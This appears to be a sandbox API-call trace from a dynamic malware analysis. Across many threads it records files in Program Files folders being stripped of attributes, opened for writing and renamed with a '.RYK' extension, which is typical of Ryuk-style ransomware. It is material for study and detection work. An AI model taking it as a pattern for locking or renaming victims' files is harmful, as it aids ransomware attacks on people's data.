	[0232.172] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.172] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1276
	os_tid = 0x1a18

	[0232.174] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png", dwFileAttributes=0x80) returned 0
	[0232.174] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.174] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1277
	os_tid = 0x1a1c

	[0232.176] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png", dwFileAttributes=0x80) returned 0
	[0232.176] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.176] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1278
	os_tid = 0x1a20

	[0232.177] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png", dwFileAttributes=0x80) returned 0
	[0232.178] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.178] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1279
	os_tid = 0x1a24

	[0232.180] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", dwFileAttributes=0x80) returned 0
	[0232.180] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.180] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.180] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1280
	os_tid = 0x1a28

	[0232.182] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx", dwFileAttributes=0x80) returned 0
	[0232.182] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.182] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1281
	os_tid = 0x1a2c

	[0232.183] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax", dwFileAttributes=0x80) returned 0
	[0232.184] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.184] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.184] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax.RYK" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1282
	os_tid = 0x1a30

	[0232.186] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax", dwFileAttributes=0x80) returned 0
	[0232.186] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.186] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax.RYK" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1283
	os_tid = 0x1a34

	[0232.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc", dwFileAttributes=0x80) returned 0
	[0232.188] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.188] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), lpNewFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc.RYK" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1284
	os_tid = 0x1a38

	[0232.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins", dwFileAttributes=0x80) returned 0
	[0232.209] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.209] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.RYK" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1285
	os_tid = 0x1a48

	[0232.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl", dwFileAttributes=0x80) returned 0
	[0232.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.364] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1286
	os_tid = 0x1a4c

	[0232.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl", dwFileAttributes=0x80) returned 0
	[0232.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.416] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1287
	os_tid = 0x1a50

	[0232.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl", dwFileAttributes=0x80) returned 0
	[0232.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.409] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.409] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1288
	os_tid = 0x1a54

	[0232.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl", dwFileAttributes=0x80) returned 0
	[0232.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.408] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1289
	os_tid = 0x1a58

	[0232.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl", dwFileAttributes=0x80) returned 0
	[0232.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.406] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.406] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1290
	os_tid = 0x1a5c

	[0232.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl", dwFileAttributes=0x80) returned 0
	[0232.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.405] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.405] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1291
	os_tid = 0x1a60

	[0232.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl", dwFileAttributes=0x80) returned 0
	[0232.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.403] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.403] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1292
	os_tid = 0x1a64

	[0232.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl", dwFileAttributes=0x80) returned 0
	[0232.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.384] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.384] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1293
	os_tid = 0x1a6c

	[0232.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll", dwFileAttributes=0x80) returned 0
	[0232.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.642] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.642] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1294
	os_tid = 0x1a70

	[0232.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll", dwFileAttributes=0x80) returned 0
	[0232.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.644] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.RYK" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1295
	os_tid = 0x1a74

	[0232.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF", dwFileAttributes=0x80) returned 0
	[0232.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.646] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1296
	os_tid = 0x1a78

	[0232.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF", dwFileAttributes=0x80) returned 0
	[0232.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.648] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1297
	os_tid = 0x1a7c

	[0232.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF", dwFileAttributes=0x80) returned 0
	[0232.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.775] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1298
	os_tid = 0x1a80

	[0232.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF", dwFileAttributes=0x80) returned 0
	[0232.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.650] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1299
	os_tid = 0x1a84

	[0232.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF", dwFileAttributes=0x80) returned 0
	[0232.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.975] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1300
	os_tid = 0x1a88

	[0232.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF", dwFileAttributes=0x80) returned 0
	[0232.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.870] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1301
	os_tid = 0x1a8c

	[0232.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF", dwFileAttributes=0x80) returned 0
